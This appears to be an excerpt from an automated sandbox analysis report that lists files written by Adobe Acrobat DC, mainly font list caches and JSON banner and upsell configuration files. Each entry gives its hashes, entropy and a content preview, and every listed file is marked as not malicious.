Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5456

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5456

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.329292007054583
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHJTW7TmpHHx+FIbRI6XVW7+0Y2bqoAvJM3g98kUwPeUkwRe9:YvXKX9WnYpW7fNGMbLUkee9
MD5:	82AFA99F88D5B0395B972F3D24BAECD4
SHA1:	98D40DF3A9E685309282D72D3B0E36414D0290E6
SHA-256:	FBF41E4A26845CF8FE79EF61B667D65547C15DEEABC415C9DDDA5642426A445C
SHA-512:	4D0127BD02663FE99C173131CEC4476677F14AC463C7D32B08A2D165FA04032ACC05C9B430C946A33221B341D5870B75BB544CA867CA19BB1E5066A9A621757C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"06577000-dbba-466b-8bbb-7448caabd619","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736740530240,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.271941149695909
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHJTW7TmpHHx+FIbRI6XVW7+0Y2bqoAvJfBoTfXpnrPeUkwRe9:YvXKX9WnYpW7fNGWTfXcUkee9
MD5:	A3818C6E5CC19BC1476765443FCD5A73
SHA1:	F7BB960E5797AB419DC6DB2F06D53A4529EF4FBC
SHA-256:	EA92CFFFA15B178C56E1236B4870918E8A963A7475EBEF19E88C24D7B68E4FFC
SHA-512:	0003791AD217F745F1E4B7AFA12822CD83EC1C2A6D739AF0D1FBF210A67B28DB5F4199701008691FD16F654F8BAD98C2EE848A1339D5654E3E4873F868966B63
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"06577000-dbba-466b-8bbb-7448caabd619","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736740530240,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.25034046856434
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHJTW7TmpHHx+FIbRI6XVW7+0Y2bqoAvJfBD2G6UpnrPeUkwRe9:YvXKX9WnYpW7fNGR22cUkee9
MD5:	4EEB603D1D433EA8284EDD82489A71A6
SHA1:	09041B9C57A234EEB732D32A4B026BE096E6807A
SHA-256:	1988F4DC1E9E03FC277EE62E6A56BED1472CB6F37D0625FD173848D722E070F8
SHA-512:	084801D551DC6710CA650871C320FFB4B0EA71C22AFEB947A77F67CBC50190C1854426B4C16CEEDBE6419C194BF26ABAA413FA08E4140FD729D5E8234520FABC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"06577000-dbba-466b-8bbb-7448caabd619","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736740530240,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3069893977168485
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHJTW7TmpHHx+FIbRI6XVW7+0Y2bqoAvJfPmwrPeUkwRe9:YvXKX9WnYpW7fNGH56Ukee9
MD5:	DA2D4840A9A13C5EE5F7F75718148764
SHA1:	369168C62CB2E45446F7EBEC784F962AB236B2AB
SHA-256:	EFB70DB5499AE170F897B3135042B5F733809A0E4457B9867404AA978B2A2E2C
SHA-512:	C9B2DE84EF4CC0F6FBC53D497791C58EAD3EEFA12E5B09EF51B10D6A2E1DBD35D51660A44AC099A8E7F9C4A126FFFF3A916CA1758F13EC12F301B31F594EF547
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"06577000-dbba-466b-8bbb-7448caabd619","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736740530240,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.685993880247081
Encrypted:	false
SSDEEP:	24:Yv6XNifypLgE9cQx8LennAvzBvkn0RCmK8czOCCSn:Yvrqhgy6SAFv5Ah8cv/n
MD5:	64F6E757D4FE5B192CCF25D36DDA7B11
SHA1:	DE7F8E34B004C5F3935F835596C9DB3AD437CE85
SHA-256:	9EF3AA00EBE1270104F58594B39BA7FE5E1AFF8545F3E9575A6F8F2BAC015A83
SHA-512:	772F4C52C8833A0C25BA4E20D0F82E5BA78930F2A4C4C79888D1B03D4690763447D43CAE045698D263628B8C268ABAC8AE5A3FBFBF1CA2521073421181B0E9E2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"06577000-dbba-466b-8bbb-7448caabd619","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736740530240,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.253434937268561
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHJTW7TmpHHx+FIbRI6XVW7+0Y2bqoAvJf8dPeUkwRe9:YvXKX9WnYpW7fNGU8Ukee9
MD5:	FA418DA935D898CA64D09CCD85FF49B0
SHA1:	ACAD0597BC4A77E5A0B48CC42194F011AD79FED6
SHA-256:	396F11D4E1D6EE2312E0C58295E449DD2DE26E6ED7DA489CED0B7DA3834633D4
SHA-512:	4A07534DA457875E1A759FC54254CC5C8DF14D0260DD8AF7785D21C53DF100869F8222BD9F7C8B75FB40218389ABAF14AD9C02753860C7B5653C503FC279F277
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"06577000-dbba-466b-8bbb-7448caabd619","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736740530240,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.255777341037433
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHJTW7TmpHHx+FIbRI6XVW7+0Y2bqoAvJfQ1rPeUkwRe9:YvXKX9WnYpW7fNGY16Ukee9
MD5:	45D66B50F0B02101A02C33EC66892C41
SHA1:	62788D1113FA05F63E9E2B4257CAFA057C816184
SHA-256:	B52F859B0518E9A038F68F652EC00EF0D0B0FBBDDD3C566718367A87F8569B31
SHA-512:	4DBD0342EFF6F5DE56DFA429EDE61BC6C42908DB6D79EF5980DAD9FEC5F606B7D8B7F6D5252748978D3C555215D655E217DBFB8432B036160B214EAD00352052
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"06577000-dbba-466b-8bbb-7448caabd619","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736740530240,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2734519586701225
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHJTW7TmpHHx+FIbRI6XVW7+0Y2bqoAvJfFldPeUkwRe9:YvXKX9WnYpW7fNGz8Ukee9
MD5:	7CE47AE1F70AC34973D9622746A1C302
SHA1:	CD76EBE062ED35945D465368A465B310997C2DD4
SHA-256:	390873D302CC94B64E125A55C3FCAD42957DE36111FBEC3A321617A1AD0C0079
SHA-512:	2BF141755FD6CE435E2B3F31A871465D23F5687D77E7DDF2315DD5E018BB29226A855C1DC89BC2FBA24788A69C807CDEEF92C33C83F794C6A3CF9B7A73F7AED8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"06577000-dbba-466b-8bbb-7448caabd619","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736740530240,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.281380453394737
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHJTW7TmpHHx+FIbRI6XVW7+0Y2bqoAvJfzdPeUkwRe9:YvXKX9WnYpW7fNGb8Ukee9
MD5:	B1988692AF46BF7AE5A3FA5016DC7E97
SHA1:	0CF46685E825BFE3A5616D807A3A8B9F5BCA8495
SHA-256:	10E3C6CC75A6A87C2DF29499FFE0E2360470CFD0A40D9B4401994BC82ACEC4FC
SHA-512:	4E88EEC33D584FA85A67DCF48191615311B7DAF1E7FAAA843F02821210996C100D88E5498DC183B10A7F057489367E365EBD4D60825EDA78648B39410318282B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"06577000-dbba-466b-8bbb-7448caabd619","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736740530240,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.26151309582108
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHJTW7TmpHHx+FIbRI6XVW7+0Y2bqoAvJfYdPeUkwRe9:YvXKX9WnYpW7fNGg8Ukee9
MD5:	E796A98A0F7755956B5B11A831B4D47A
SHA1:	BCDFD76EEFDEDA6036B4732D7A42C899B460514A
SHA-256:	F821F5B79F7BBB760E94BE86098A4CC1A6ABF04C2E8BBE80ACA32D17389DCE6E
SHA-512:	8E92F5C7F6180650C46415EFC7B4B156AFE76AC36131E793ED77F8183B65A7F132D5F27A5F113244513A626F6A42AD8E5CCF29E890D1D5916B89B3AF2FBC56DA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"06577000-dbba-466b-8bbb-7448caabd619","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736740530240,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.246568180769735
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHJTW7TmpHHx+FIbRI6XVW7+0Y2bqoAvJf+dPeUkwRe9:YvXKX9WnYpW7fNG28Ukee9
MD5:	69FC165571C3757EFDE489CC36CE2D89
SHA1:	449CB4D14144575BA304A64699E6950C9C67B3C3
SHA-256:	BF03EADFF3CE5393202262E31C917C4EE826C6376193BD723B6808A4F77C7A5D
SHA-512:	731D15BF55DB756A9CB47C02BD2AF8674F4ACEAAB32D2AC1BAF1DB9B290038E8F731FCB1476B67CD09417B33FCAA47952E76E7788D5852C9B99E9002AB9CC867
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"06577000-dbba-466b-8bbb-7448caabd619","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736740530240,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.245324708300297
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHJTW7TmpHHx+FIbRI6XVW7+0Y2bqoAvJfbPtdPeUkwRe9:YvXKX9WnYpW7fNGDV8Ukee9
MD5:	F4297211522A412640467680262CF003
SHA1:	2375B62F32140763D32DAF91D94B91E8B31B0AE6
SHA-256:	3BB7976F1F44538F7C6A6E5D69F04FDF0516AA04E569169809151F61B56ED22A
SHA-512:	500BFB1C3A89B96FCACD867D9863E1F88D7ECB865A9F11143E5415D652C8F19123B8FBB249EFE103482C45624F0847F1317CCB8AC086BAE99C49723951D1EE82
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"06577000-dbba-466b-8bbb-7448caabd619","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736740530240,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.246761076942385
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHJTW7TmpHHx+FIbRI6XVW7+0Y2bqoAvJf21rPeUkwRe9:YvXKX9WnYpW7fNG+16Ukee9
MD5:	D89A8EE42943A56A452018DD5A188977
SHA1:	6B96196528DB29DD11237778AF0833141B0376E3
SHA-256:	2A8EDE640AD1650CF82EE8228533CAE141615B162B0314EFA231C14A6CFEB41D
SHA-512:	7BB38F37C56DF405A587F783D400A1EECA955671E0C0CF2F3EA34DDD8DB55CD26DDA4656CB146E9027A14194284D571593998FA3F72905FEEA3DDC3E3D99253A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"06577000-dbba-466b-8bbb-7448caabd619","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736740530240,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.655203247971069
Encrypted:	false
SSDEEP:	24:Yv6XNifuamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSn:Yvr4BgkDMUJUAh8cvMn
MD5:	743740E429E280AA730D3C8C388A5871
SHA1:	A7044E976AA82365F2871ACF0A6AE24131D45DED
SHA-256:	85E0793D8E1C99AB59ADCA3BD8ED9149486F04F7E4D0A79DCCE64A18F57D2E9A
SHA-512:	CF271F1D47907C095E3C03092845206A24EE76BEEA9DFCCB5B3B8C989B6DB12E5EA966B88ACACA6C98BAAC7D6ECA61CA45ABA3545E962B34FE2E1BB0B7E488BD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"06577000-dbba-466b-8bbb-7448caabd619","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736740530240,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.220332543163803
Encrypted:	false
